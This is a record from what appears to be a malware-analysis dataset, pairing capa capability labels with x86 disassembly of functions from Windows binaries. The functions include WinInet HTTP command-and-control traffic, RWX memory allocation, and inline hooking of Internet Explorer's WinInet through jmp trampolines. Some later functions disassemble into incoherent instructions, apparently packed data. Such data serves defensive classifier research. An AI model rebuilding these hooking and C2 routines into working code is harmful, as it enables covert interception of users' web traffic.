joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002f30
Capabilities:
Create new key via cryptacquirecontext
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0xf0000008
xor esi, esi
push 0x18
push esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1000305a
mov edx, dword [ebp - 8]
lea ecx, [ebp - 4]
push ecx
push esi
push esi
push 0x8004
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000304e
push ebx
push edi
mov edi, dword [ebp + 0xc]
push 4
push 0x3000
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x10003042
test edi, edi
je 0x10002fb0
lea ecx, [ecx]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov byte [esi + ebx], al
inc esi
cmp esi, edi
jb 0x10002fa0
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x10002fc9
mov esi, dword [ebp + 8]
mov eax, ebx
sub esi, ebx
mov edi, ecx
mov dl, byte [esi + eax]
mov byte [eax], dl
inc eax
dec edi
jne 0x10002fc0
mov eax, dword [ebp - 4]
push 0
push ecx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10003031
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push 0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0xc]
push edx
push 4
push eax
mov dword [ebp - 0x14], 4
call esi
test eax, eax
je 0x10003031
mov edi, 0x14
cmp dword [ebp - 0xc], edi
jne 0x10003031
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.10002cd0
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
add esp, 4
push 0
lea edx, [ebp - 0xc]
push edx
push eax
push 2
push ecx
call esi
test eax, eax
je 0x10003031
mov dword [ebp - 0x10], 1
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
pop edi
pop ebx
mov eax, dword [ebp - 8]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10003150
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push esi
xor esi, esi
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
mov eax, dword [0x100131ec]
je 0x10003175
xor eax, dword [ebp - 8]
xor eax, dword [ebp - 4]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov ecx, eax
imul eax, eax, 0x343fd
shr ecx, 0x10
add eax, 0x269ec3
mov dword [0x100131ec], eax
test cl, 1
je 0x100031e4
lea ecx, [ebp - 0x10]
push ecx
call ebx
test eax, eax
mov eax, dword [0x100131ec]
je 0x100031af
xor eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov edx, eax
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x100131ec], eax
shr edx, 0x10
and eax, 0xffff0000
or eax, edx
xor edx, edx
mov ecx, 0x19
div ecx
lea eax, [edx + 0x61]
jmp 0x1000322c
lea edx, [ebp - 0x18]
push edx
call ebx
test eax, eax
mov eax, dword [0x100131ec]
je 0x100031f9
xor eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x14]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov ecx, eax
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x100131ec], eax
shr ecx, 0x10
and eax, 0xffff0000
or eax, ecx
xor edx, edx
mov ecx, 0x19
div ecx
lea eax, [edx + 0x41]
mov byte [esi + edi], al
inc esi
cmp esi, 0xf
jl 0x10003160
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003240
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003266
xor eax, eax
pop esi
pop ebp
ret
push ebx
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [edi], eax
test eax, eax
je 0x100032a2
mov ecx, dword [0x100131f0]
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [ebp + 8]
mov dword [edx], eax
test eax, eax
je 0x100032a2
mov ecx, dword [edi]
push ebx
push edi
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret
Function at 0x10003b50
Capabilities:
Send data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
xor esi, esi
push esi
push esi
push esi
lea eax, [ebp - 0x2c]
push eax
push ebx
mov dword [ebp - 0x2c], 0x28
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call dword [sym.imp.WININET.dll_HttpSendRequestExW]
test eax, eax
jne 0x10003b94
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 1
mov dword [ebp - 4], esi
test edi, edi
je 0x10003bd1
test eax, eax
je 0x10003b8d
mov eax, edi
mov ecx, 0x400
sub eax, esi
cmp eax, ecx
jae 0x10003bb3
mov ecx, eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push ecx
lea ecx, [esi + eax]
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetWriteFile]
add esi, dword [ebp - 4]
cmp esi, edi
jb 0x10003ba0
test eax, eax
je 0x10003b8d
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpEndRequestW]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10003f40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x150
push esi
push edi
xor edi, edi
push eax
mov eax, dword [ebp + 8]
push ecx
lea esi, [esp + 0x18]
mov dword [esp + 0x150], edi
mov dword [esp + 0x154], edi
mov dword [esp + 0x158], edi
mov dword [esp + 0x15c], edi
mov dword [esp + 0x134], edi
mov dword [esp + 0x148], edi
call fcn.10003620
mov dword [esp + 0x10], eax
cmp eax, edi
je 0x10003ffc
lea edx, [esp + 0xc]
push edx
push edi
mov eax, esi
push eax
push 0x100041e0
push edi
push edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x15c], 5
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x138], eax
cmp eax, edi
je 0x10003ffc
mov ecx, dword [esp + 0x13c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10003ffc
mov eax, dword [esp + 0x150]
cmp eax, edi
je 0x10003ffc
cmp eax, 0x100
ja 0x10003ffc
mov edx, dword [esp + 0x148]
mov ecx, dword [ebp + 0xc]
call fcn.10002ca0
mov edi, dword [esp + 0x150]
lea eax, [esp + 0x10]
call fcn.10003930
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004010
Capabilities:
Connect to http server
Create http request
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 0
push 0
push 0
push str.Opera_9.80
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
jne 0x10004040
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov esp, ebp
pop ebp
ret 4
push ebx
push edi
mov edi, dword [ebp + 8]
movzx eax, word [edi + 0x84]
push 0
push 0
push 3
push 0
push 0
push eax
lea ecx, [edi + 4]
push ecx
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
jne 0x1000408c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4
mov edx, 0x1bb
mov dword [ebp - 0xc], 0x4000000
cmp word [edi + 0x84], dx
jne 0x100040a8
mov dword [ebp - 0xc], 0x4803000
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi + 0x94]
push 0
push eax
push 0
push 0
push 0
push ecx
push 0x1000a320
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
jne 0x100040ec
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
call ebx
push esi
call ebx
mov eax, edi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4
test dword [ebp - 0xc], 0x800000
je 0x100040ff
mov esi, edi
call fcn.10003740
mov esi, dword [ebp - 0x10]
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x10004120
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x100041bf
push 0
push 0
lea edx, [ebp - 4]
push edx
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x100041bf
mov eax, dword [ebp - 4]
mov ecx, dword [0x100131f0]
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x100041b9
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edx
push eax
push ebx
push edi
mov dword [ebp - 0xc], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100041aa
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x100041aa
mov esi, dword [ebp + 8]
push eax
push ebx
add esi, 0x138
call fcn.10003430
test eax, eax
je 0x100041a3
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0xc]
push ecx
push edx
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10004172
jmp 0x100041aa
mov dword [ebp - 8], 0x54f
mov eax, dword [0x100131f0]
push ebx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x14]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push ebx
call edi
push esi
call edi
mov eax, dword [ebp - 8]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10004a90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
push ebx
push esi
push edi
mov edi, eax
mov al, byte [edi]
cmp al, 0xff
jne 0x10004ab1
cmp byte [edi + 1], 0x25
jne 0x10004ab1
mov eax, dword [edi + 2]
mov eax, dword [eax]
jmp 0x10004aca
cmp al, 0xe9
jne 0x10004abe
mov ecx, dword [edi + 1]
lea eax, [ecx + edi + 5]
jmp 0x10004aca
cmp al, 0xeb
jne 0x10004ad1
movsx edx, byte [edi + 1]
lea eax, [edx + edi + 2]
call fcn.10004a50
mov edi, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor esi, esi
push 0
call ebx
inc esi
cmp esi, 0x44
jb 0x10004ad9
mov eax, edi
call fcn.100049e0
mov dword [esp + 0x10], eax
test eax, eax
jne 0x10004afb
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x40
push 0x3000
push 0x68
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10004af2
mov eax, dword [esp + 0x10]
xor ebx, ebx
mov dword [esi + 4], edi
test eax, eax
je 0x10004b38
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov al, byte [ebx + edi]
mov byte [esi + ebx + 0x28], al
inc ebx
cmp ebx, dword [esp + 0x10]
jb 0x10004b20
mov eax, dword [esp + 0x10]
xor ebx, ebx
test eax, eax
je 0x10004b58
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov cl, byte [ebx + edi]
mov byte [esi + ebx + 0x48], cl
inc ebx
cmp ebx, dword [esp + 0x10]
jb 0x10004b40
mov eax, dword [esp + 0x10]
mov edx, 0x20
sub edx, eax
cmp edx, 5
jb 0x10004b74
mov ecx, edi
sub ecx, esi
sub ecx, 0x2d
mov byte [esi + eax + 0x28], 0xe9
mov dword [esi + eax + 0x29], ecx
mov edx, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [esp + 0x14]
push ecx
push 0x40
mov eax, esi
sub eax, edi
push 5
add eax, 3
mov byte [esi + 8], 0x68
mov dword [esi + 9], edx
mov byte [esi + 0xd], 0xc3
push edi
mov byte [esp + 0x28], 0xe9
mov dword [esp + 0x29], eax
mov dword [esp + 0x24], 0
call ebx
lea edx, [esp + 0x18]
push edx
mov eax, 5
mov ecx, edi
call fcn.10002ef0
mov ecx, dword [esp + 0x18]
add esp, 4
lea eax, [esp + 0x14]
push eax
push ecx
push 5
push edi
call ebx
pop edi
mov dword [esi], 5
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006c40
Capabilities:
Create thread
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x1000cdc8]
mov eax, dword [ecx + 0x3c]
sub esp, 0x438
cmp dword [eax + ecx], 0x4550
push esi
jne 0x10006ca8
mov esi, dword [eax + ecx + 8]
test esi, esi
je 0x10006ca8
push esi
lea eax, [ebp - 0x124]
push str.GetinternalOffsets:_IEHook.WinInetTimeStump___x__r_n
push eax
mov dword [0x1000cdcc], esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, dword [0x1000cdc8]
push esi
mov ecx, 0x1000cdd0
call fcn.10007430
add esp, 4
test eax, eax
jne 0x10006d2c
mov edx, dword [0x1000cdcc]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edx
lea eax, [ebp - 0x24]
push str.0x_x
push eax
call esi
add esp, 0xc
cmp dword [0x1000ce30], 0
je 0x10006d25
lea ecx, [ebp - 0x24]
push ecx
push 0xfccc0000
lea edx, [ebp - 0x438]
push str.Error_code__x___s
push edx
call esi
add esp, 0x10
lea eax, [ebp - 0x438]
push eax
mov eax, dword [0x1000ce30]
call fcn.100020c0
mov edx, dword [0x1000ce30]
lea ecx, [ebp - 4]
push ecx
push 0
push edx
push 0x10008410
push 0
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10006d25
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [0x1000cdc8]
add eax, dword [0x1000cdd0]
mov dword [0x1000cdb8], eax
je 0x10006d25
mov edx, dword [0x1000ce14]
push edx
call fcn.10004a90
add esp, 4
mov dword [0x1000cdbc], eax
test eax, eax
jne 0x10006dab
mov eax, dword [0x1000cdcc]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [ebp - 0x24]
push str.0x_x
push ecx
call esi
add esp, 0xc
cmp dword [0x1000ce30], 0
je 0x10006da4
lea edx, [ebp - 0x24]
push edx
push 0xfccc0001
lea eax, [ebp - 0x438]
push str.Error_code__x___s
push eax
call esi
mov eax, dword [0x1000ce30]
add esp, 0x10
lea ecx, [ebp - 0x438]
push ecx
call fcn.100020c0
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
add eax, 0x28
mov dword [0x1000cdb8], eax
mov eax, dword [0x1000cdd4]
add eax, dword [0x1000cdc8]
mov dword [0x1000cdc0], eax
je 0x10006d25
mov ecx, dword [0x1000ce18]
push ecx
call fcn.10004a90
add esp, 4
mov dword [0x1000cdc4], eax
test eax, eax
jne 0x10006df2
mov esi, 0xfccc0001
call fcn.10006160
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [0x1000cdb8]
add eax, 0x28
mov dword [0x1000cdc0], eax
mov dword [0x1000ce24], eax
mov dword [0x1000ce28], edx
mov dword [0x1000ce1c], 0x10006960
mov dword [0x1000ce20], 0x100064b0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10008030
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x100131f0]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x20
push 8
push eax
call edi
mov esi, eax
test esi, esi
jne 0x10008056
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
mov ecx, dword [ebx + 0x14]
lea eax, [ecx + edx + 0x10]
push eax
mov eax, dword [0x100131f0]
push 8
push eax
call edi
mov dword [esi + 8], eax
test eax, eax
jne 0x10008090
mov ecx, dword [0x100131f0]
push esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov edi, dword [ebp + 8]
mov eax, edi
call fcn.10004370
mov dword [esi], eax
test eax, eax
jne 0x100080ca
mov edx, dword [esi + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push edx
push eax
mov eax, dword [0x100131f0]
push eax
call ebx
mov ecx, dword [0x100131f0]
push esi
push 0
push ecx
call ebx
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [esi + 8]
mov dword [esi + 0xc], ecx
test ecx, ecx
je 0x100080f4
mov edx, ecx
mov ebx, eax
sub edi, eax
mov dword [ebp + 0xc], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov al, byte [edi + ebx]
mov byte [ebx], al
inc ebx
dec dword [ebp + 0xc]
jne 0x100080e0
mov ebx, dword [ebp + 0x10]
mov ecx, dword [ebx + 0x18]
lea edx, [ebx + 0x20]
mov dword [esi + 0x1c], ecx
mov ecx, dword [esi + 8]
mov dword [esi + 0x18], edx
mov eax, dword [ebx + 0xc]
push eax
push ecx
call fcn.100042e0
add esp, 8
test eax, eax
jne 0x1000814b
mov edx, dword [esi]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push edx
push eax
mov eax, dword [0x100131f0]
push eax
call ebx
mov ecx, dword [esi + 8]
mov edx, dword [0x100131f0]
push ecx
push 0
push edx
call ebx
mov eax, dword [0x100131f0]
push esi
push 0
push eax
call ebx
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebx + 0x10]
xor edi, edi
cmp ecx, edi
je 0x10008172
mov ebx, dword [ebx + 0x14]
mov eax, dword [esi + 0xc]
push ecx
lea ecx, [ebx + eax + 0x10]
push ecx
mov ecx, dword [esi + 8]
call fcn.10004460
add esp, 8
mov dword [esi + 0xc], eax
cmp eax, edi
je 0x10008195
lea ecx, [ebp - 4]
push ecx
push edi
push esi
push 0x10007da0
push edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
cmp eax, edi
jne 0x100081ca
mov edx, dword [esi]
mov eax, dword [0x100131f0]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push edx
push edi
push eax
call ebx
mov ecx, dword [esi + 8]
mov edx, dword [0x100131f0]
push ecx
push edi
push edx
call ebx
mov eax, dword [0x100131f0]
push esi
push edi
push eax
call ebx
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10008510
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
cmp dword [edi], 0
je 0x10008595
test eax, eax
je 0x1000853b
push eax
push esi
lea eax, [ebp - 0x318]
push str.Error_code__x___s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x10008551
push esi
lea ecx, [ebp - 0x318]
push str.Error_code__x
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [edi]
lea edx, [ebp - 0x318]
push edx
call fcn.100020c0
cmp esi, 0xfccc0000
jne 0x10008595
mov ecx, dword [0x1000ce30]
lea eax, [ebp - 4]
push eax
push 0
push ecx
push 0x10008410
push 0
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10008595
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x407ef0
Capabilities:
Encode data using xor

Disassembly:
sbb al, 0x8b
dec ebp
sbb byte [ebx - 0x74aff7ab], cl
inc ebp
cmp ch, byte [edx - 0x50]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
mov edx, dword [ebp + 0x60]
ficom dword [ecx + 0x52]
call fcn.00407ef0
push esi
les ecx, [ecx + 0x5d]
ret
cmc
mov ebp, esp
lodsb al, byte [esi]
in al, dx
adc al, 0x83
in al, 0x50
dec edi
mov dword [edi], eax
jge 0x407ec5
adc byte [esi], cl
add byte [eax], al
fld qword [ebp + 8]
fdivr qword [edx]
xor dl, al
inc eax
add byte [esi], dh
dec ebp
sbb byte [ebx - 0x75], dl
sub al, 0x20
push esi
xor esi, esi
push edi
fnstsw ax
mov dword [ebp + 0x63], esi
mov dword [ecx], esi
stosd dword es:[edi], eax
salc
add eax, 0xe7afb8b
fld qword [ebp + 0x63]
std
loopne 0x407f08
pop ebp
or bh, al
add dword [ecx], eax
invalid

Function at 0x40b2d2
Capabilities:
Write file on windows

Disassembly:
dec edx
push ecx
push esi
mov edx, dword [edi + 0x4e]
mov al, byte [esi + 0x2c]
sub eax, 0xbe840fc0
add byte [eax], al
add byte [ebx - 0x5aa6b7b2], cl
push ebx
cmp ecx, 1
stosd dword es:[edi], eax
mov dword [ebp - 4], eax
mov dword [eax], eax
or byte [edi], cl
test dword [eax + eax + 0x7e8b0000], ebx
cmp al, 0xe
clc
punpcklbw mm2, dword [ecx - 0x47ffffb9]
daa
cmp byte [ebx + 0x576ffff], al
or eax, 0xffffffff
jmp 0x40b313
mov edx, dword [esi + 4]
add edi, esp
cld
add byte [ecx + 0x11], dl
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b358
pop ebp
inc ebp
cld
mov edx, dword [esi + 0x50]
mov ebx, dword [esp + edx*2]
add edx, eax
cmpsb byte [esi], byte es:[edi]
rol dword [eax], 1
or bh, al
sub ebx, eax
retf 0x8356
dec esp
pop ecx
cmp al, 0xd4
add byte [eax], al
add byte [ebx + 0x5e], bl
retf
mov edi, dword [0x21c098]
call edi
test eax, eax
jne 0x40b369
mov dword [ebx], eax
or bl, ch
or bl, al
xlatb
fcom st(7)
sub al, 0x80
cld
or al, byte [eax]
mov dword [ebp + 8], eax
mov eax, dword [ebp - 4]
mov edx, dword [esi + 0x50]
mov ecx, dword [esi + 0x54]
add edx, eax
mov eax, dword [ebp - 0x5b]
cwde
jbe 0x40b3d4
test dword [ecx], ebx
loop 0x40b349
mov dword [edi - 0x38f88aac], eax
inc esi
pop es
add byte [eax], al
add dl, bl
fild dword [ebp - 0x20]
pop edi
pop ebx
lahf
mov esp, ebp
pop ebp
ret 4
nop
nop
nop
nop
nop
nop
insb byte es:[edi], dx
nop
nop
nop
nop
pop es
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x3b]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call 0x411c00
pop ebp
ret 0xc
Function at 0x404940
Capabilities:
Resolve function by parsing pe exports

Disassembly:
adc eax, 0x728b9a80
sub byte [eax + 0x264ab70f], dl

Function at 0x404d90
Capabilities:
Encode data using xor

Disassembly:
call fcn.00404cb0
sub ecx, ecx
sub ecx, 0xffffff81
call 0x404d8e
rcr byte [esi - 0x7f], 0x76
pop esi
invalid
jbe 0x404da2
jb 0x404d99
xor dword [esi + 0xe], 0x55750372
jne 0x404ded
sub esi, 0xfffffffc
out dx, al
cld
loop 0x404d91
inc ecx
retf 0xbcf6
invalid
invalid
xchg ebp, eax

Function at 0x409f20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
sub byte [ebx - 0x46a8aa8b], cl
sbb al, ch
add byte [eax], al
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [ebx + 0x10]
xor edx, edx
mov ecx, 0x20
mov dword [ebp + 0xc], edx
mov dword [edx], edi
add byte [ecx + 0x3a890c55], cl
cmp byte [ecx + 0x21e83c56], cl
sbb dword [eax], eax
push esi
mov dword [esi + 0x38], eax
mov dword [esi - 0x44], edx
mov ecx, dword [ebx + 0xc]
mov ebx, dword [eax - 0x75]
inc esi
adc byte [ebx], dh
dec dword [ebx]
ror dword [ebx], 1
outsb dx, byte [esi]
mov dword [esi + 0x38], edx
mov dword [esi - 0x2faba8c4], edi
popfd
inc esi
add ebp, dword [edx - 0xb]
push edx
push eax
call fcn.0040b590
jg 0x409fd0
cmp al, 0xa8
dec esi
cmp al, 0x8e
or ecx, dword [ecx - 0x3ddcc7ba]
add al, al
jns 0x409f40
adc ecx, 0xffd6a169
mov dword [esi + 0x3b], edx
mov dword [ebp + 0x3c], ecx
mov edi, dword [ebx + 0x48948908]
mov eax, ecx
add byte [ecx], bh